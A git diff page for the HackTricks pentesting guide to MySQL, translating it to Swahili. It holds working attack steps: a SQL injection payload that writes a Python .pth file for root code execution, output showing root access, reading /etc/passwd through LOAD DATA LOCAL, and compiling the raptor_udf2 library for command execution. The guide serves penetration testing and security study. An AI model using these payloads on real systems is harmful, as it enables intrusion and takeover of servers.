mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to sw
This commit is contained in:
parent
e7043c9b0a
commit
680695759b
@ -1,17 +1,12 @@
|
|||||||
# 3306 - Pentesting Mysql
|
# 3306 - Pentesting Mysql
|
||||||
|
|
||||||
{{#include /banners/hacktricks-training.md}}
|
|
||||||
|
|
||||||
## References
|
|
||||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## **Basic Information**
|
## **Basic Information**
|
||||||
|
|
||||||
**MySQL** inaweza kueleweka kama mfumo wa usimamizi wa hifadhidata wa **Relational Database Management System (RDBMS)** wa chanzo wazi ambao upatikana bure. Inafanya kazi kwa **Structured Query Language (SQL)**, ikiruhusu usimamizi na uendeshaji wa hifadhidata.
|
**MySQL** inaweza kueleweka kama mfumo wa usimamizi wa hifadhidata wa uhusiano wa chanzo wazi (RDBMS) ambao upatikana bure. Inafanya kazi kwenye **Lugha ya Maswali Iliyoandikwa (SQL)**, ikiruhusu usimamizi na uendeshaji wa hifadhidata.
|
||||||
|
|
||||||
**Default port:** 3306
|
**Bandari ya kawaida:** 3306
|
||||||
```
|
```
|
||||||
3306/tcp open mysql
|
3306/tcp open mysql
|
||||||
```
|
```
|
||||||
@ -83,7 +78,7 @@ quit;
|
|||||||
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
||||||
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
||||||
```
|
```
|
||||||
### MySQL Permissions Enumeration
|
### Uainishaji wa Ruhusa za MySQL
|
||||||
```sql
|
```sql
|
||||||
#Mysql
|
#Mysql
|
||||||
SHOW GRANTS [FOR user];
|
SHOW GRANTS [FOR user];
|
||||||
@ -119,8 +114,8 @@ You can see in the docs the meaning of each privilege: [https://dev.mysql.com/do
|
|||||||
Kwa kutumia primitive ya jadi `INTO OUTFILE`, inawezekana kupata *utendaji wa msimbo wa kiholela* kwenye malengo ambayo baadaye yanatekeleza **Python** scripts.
|
Kwa kutumia primitive ya jadi `INTO OUTFILE`, inawezekana kupata *utendaji wa msimbo wa kiholela* kwenye malengo ambayo baadaye yanatekeleza **Python** scripts.
|
||||||
|
|
||||||
1. Tumia `INTO OUTFILE` kuacha faili maalum **`.pth`** ndani ya saraka yoyote inayopakuliwa kiotomatiki na `site.py` (mfano `.../lib/python3.10/site-packages/`).
|
1. Tumia `INTO OUTFILE` kuacha faili maalum **`.pth`** ndani ya saraka yoyote inayopakuliwa kiotomatiki na `site.py` (mfano `.../lib/python3.10/site-packages/`).
|
||||||
2. Faili ya `.pth` inaweza kuwa na *mstari mmoja* unaoanza na `import ` ukifuatwa na msimbo wa Python wa kiholela ambao utaanzishwa kila wakati mfasiri anapoanza.
|
2. Faili ya `.pth` inaweza kuwa na *mstari mmoja* unaoanza na `import ` ikifuatiwa na msimbo wa Python wa kiholela ambao utaanzishwa kila wakati mfasiri anapoanza.
|
||||||
3. Wakati mfasiri anatekelezwa kwa njia isiyo ya moja kwa moja na script ya CGI (kwa mfano `/cgi-bin/ml-draw.py` yenye shebang `#!/bin/python`), mzigo unatekelezwa kwa haki sawa na mchakato wa seva ya wavuti (FortiWeb ilikimbia kama **root** → RCE kamili kabla ya uthibitisho).
|
3. Wakati mfasiri anatekelezwa kwa njia isiyo ya moja kwa moja na script ya CGI (kwa mfano `/cgi-bin/ml-draw.py` yenye shebang `#!/bin/python`), mzigo unatekelezwa kwa ruhusa sawa na mchakato wa seva ya wavuti (FortiWeb ilikimbia kama **root** → RCE kamili kabla ya uthibitishaji).
|
||||||
|
|
||||||
Mfano wa mzigo wa `.pth` (mstari mmoja, hakuna nafasi zinazoweza kujumuishwa katika mzigo wa mwisho wa SQL, hivyo hex/`UNHEX()` au kuunganisha nyuzi kunaweza kuhitajika):
|
Mfano wa mzigo wa `.pth` (mstari mmoja, hakuna nafasi zinazoweza kujumuishwa katika mzigo wa mwisho wa SQL, hivyo hex/`UNHEX()` au kuunganisha nyuzi kunaweza kuhitajika):
|
||||||
```python
|
```python
|
||||||
@ -130,12 +125,12 @@ Mfano wa kuunda faili kupitia **UNION** query (herufi za nafasi zimebadilishwa n
|
|||||||
```sql
|
```sql
|
||||||
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
||||||
```
|
```
|
||||||
Important limitations & bypasses:
|
Mipaka muhimu na njia za kupita:
|
||||||
|
|
||||||
* `INTO OUTFILE` **haiwezi kufuta** faili zilizopo; chagua jina jipya la faili.
|
* `INTO OUTFILE` **haiwezi kufuta** faili zilizopo; chagua jina jipya la faili.
|
||||||
* Njia ya faili inatatuliwa **kuhusiana na CWD ya MySQL**, hivyo kuongeza `../../` husaidia kupunguza njia na kupita vizuizi vya njia kamili.
|
* Njia ya faili inatatuliwa **kuhusiana na CWD ya MySQL**, hivyo kuongeza `../../` husaidia kupunguza njia na kupita vizuizi vya njia kamili.
|
||||||
* Ikiwa ingizo la mshambuliaji linachukuliwa na `%128s` (au sawa) nafasi yoyote itakata payload; tumia mfuatano wa maoni ya MySQL `/**/` au `/*!*/` kubadilisha nafasi.
|
* Ikiwa ingizo la mshambuliaji linachukuliwa kwa `%128s` (au sawa) nafasi yoyote itakata payload; tumia mfuatano wa maoni ya MySQL `/**/` au `/*!*/` kubadilisha nafasi.
|
||||||
* Mtumiaji wa MySQL anayekimbia swali anahitaji ruhusa ya `FILE`, lakini katika vifaa vingi (mfano, FortiWeb) huduma inakimbia kama **root**, ikitoa ufikiaji wa kuandika karibu kila mahali.
|
* Mtumiaji wa MySQL anayekimbia ombi anahitaji kibali cha `FILE`, lakini katika vifaa vingi (mfano, FortiWeb) huduma inakimbia kama **root**, ikitoa ufikiaji wa kuandika karibu kila mahali.
|
||||||
|
|
||||||
Baada ya kuacha `.pth`, omba tu CGI yoyote inayoshughulikiwa na tafsiri ya python ili kupata utekelezaji wa msimbo:
|
Baada ya kuacha `.pth`, omba tu CGI yoyote inayoshughulikiwa na tafsiri ya python ili kupata utekelezaji wa msimbo:
|
||||||
```
|
```
|
||||||
@ -151,9 +146,9 @@ uid=0(root) gid=0(root) groups=0(root)
|
|||||||
```
|
```
|
||||||
---
|
---
|
||||||
|
|
||||||
## MySQL kusoma faili kwa hiari na mteja
|
## MySQL kusoma faili bila mpangilio na mteja
|
||||||
|
|
||||||
Kwa kweli, unapojaribu **kuchukua data za ndani kwenye jedwali** yaliyomo kwenye **faili**, seva ya MySQL au MariaDB inamwomba **mteja aisome** na kutuma yaliyomo. **Basi, ikiwa unaweza kubadilisha mteja wa mysql kuungana na seva yako ya MySQL, unaweza kusoma faili za hiari.**\
|
Kwa kweli, unapojaribu **kuchukua data za ndani kwenye jedwali** yaliyomo kwenye **faili**, seva ya MySQL au MariaDB inamwomba **mteja kuisoma** na kutuma yaliyomo. **Kisha, ikiwa unaweza kubadilisha mteja wa mysql kuungana na seva yako ya MySQL, unaweza kusoma faili bila mpangilio.**\
|
||||||
Tafadhali zingatia kwamba hii ni tabia inayotumika:
|
Tafadhali zingatia kwamba hii ni tabia inayotumika:
|
||||||
```bash
|
```bash
|
||||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||||
@ -188,10 +183,10 @@ Katika usanidi wa huduma za MySQL, mipangilio mbalimbali inatumika kufafanua uen
|
|||||||
|
|
||||||
- Mipangilio ya **`user`** inatumika kutaja mtumiaji ambaye huduma ya MySQL itatekelezwa chini yake.
|
- Mipangilio ya **`user`** inatumika kutaja mtumiaji ambaye huduma ya MySQL itatekelezwa chini yake.
|
||||||
- **`password`** inatumika kuanzisha nenosiri linalohusiana na mtumiaji wa MySQL.
|
- **`password`** inatumika kuanzisha nenosiri linalohusiana na mtumiaji wa MySQL.
|
||||||
- **`admin_address`** inabainisha anwani ya IP inayosikiliza kwa muunganisho wa TCP/IP kwenye kiolesura cha mtandao wa usimamizi.
|
- **`admin_address`** inaelezea anwani ya IP inayosikiliza kwa muunganisho wa TCP/IP kwenye kiolesura cha mtandao wa usimamizi.
|
||||||
- Kigezo cha **`debug`** kinadhihirisha usanidi wa sasa wa urekebishaji, ikiwa ni pamoja na taarifa nyeti ndani ya kumbukumbu.
|
- Kigezo cha **`debug`** kinaashiria usanidi wa sasa wa urekebishaji, ikiwa ni pamoja na taarifa nyeti ndani ya kumbukumbu.
|
||||||
- **`sql_warnings`** inasimamia ikiwa nyuzi za taarifa zinaundwa kwa taarifa za INSERT za safu moja wakati onyo linatokea, zikiwa na data nyeti ndani ya kumbukumbu.
|
- **`sql_warnings`** inasimamia ikiwa nyuzi za taarifa zinaundwa kwa taarifa za INSERT za safu moja wakati onyo linatokea, zikiwa na data nyeti ndani ya kumbukumbu.
|
||||||
- Pamoja na **`secure_file_priv`**, upeo wa shughuli za kuagiza na kuuza data unakabiliwa ili kuimarisha usalama.
|
- Pamoja na **`secure_file_priv`**, upeo wa shughuli za kuagiza na kuuza data unakabiliwa ili kuboresha usalama.
|
||||||
|
|
||||||
### Privilege escalation
|
### Privilege escalation
|
||||||
```bash
|
```bash
|
||||||
@ -213,16 +208,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
|||||||
```
|
```
|
||||||
### Privilege Escalation via library
|
### Privilege Escalation via library
|
||||||
|
|
||||||
If the **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **library** for the OS that is running mysql.
|
Ikiwa **mysql server inafanya kazi kama root** (au mtumiaji mwingine mwenye mamlaka zaidi) unaweza kuifanya itekeleze amri. Kwa hiyo, unahitaji kutumia **user defined functions**. Na ili kuunda user defined unahitaji **library** kwa ajili ya OS inayofanya kazi mysql.
|
||||||
|
|
||||||
The malicious library to use can be found inside sqlmap and inside metasploit by doing **`locate "*lib_mysqludf_sys*"`**. The **`.so`** files are **linux** libraries and the **`.dll`** are the **Windows** ones, choose the one you need.
|
Library mbaya ya kutumia inaweza kupatikana ndani ya sqlmap na ndani ya metasploit kwa kufanya **`locate "*lib_mysqludf_sys*"`**. Faili za **`.so`** ni **linux** libraries na **`.dll`** ni za **Windows**, chagua ile unayohitaji.
|
||||||
|
|
||||||
If you **don't have** those libraries, you can either **look for them**, or download this [**linux C code**](https://www.exploit-db.com/exploits/1518) and **compile it inside the linux vulnerable machine**:
|
Ikiwa **huna** hizo libraries, unaweza ama **kutafuta** au kupakua hii [**linux C code**](https://www.exploit-db.com/exploits/1518) na **kuikamilisha ndani ya mashine ya linux yenye udhaifu**:
|
||||||
```bash
|
```bash
|
||||||
gcc -g -c raptor_udf2.c
|
gcc -g -c raptor_udf2.c
|
||||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||||
```
|
```
|
||||||
Sasa kwamba una maktaba, ingia ndani ya Mysql kama mtumiaji mwenye mamlaka (root?) na ufuate hatua zifuatazo:
|
Sasa kwamba una maktaba, ingia ndani ya Mysql kama mtumiaji mwenye mamlaka (root?) na fuata hatua zifuatazo:
|
||||||
|
|
||||||
#### Linux
|
#### Linux
|
||||||
```sql
|
```sql
|
||||||
@ -620,7 +615,7 @@ x$waits_global_by_latency
|
|||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
{{#endtabs}}
|
{{#endtabs}}
|
||||||
|
|
||||||
## Amri za Kiotomatiki za HackTricks
|
## HackTricks Amri za Otomatiki
|
||||||
```
|
```
|
||||||
Protocol_Name: MySql #Protocol Abbreviation if there is one.
|
Protocol_Name: MySql #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 3306 #Comma separated if there is more than one.
|
Port_Number: 3306 #Comma separated if there is more than one.
|
||||||
|
Loading…
x
Reference in New Issue
Block a user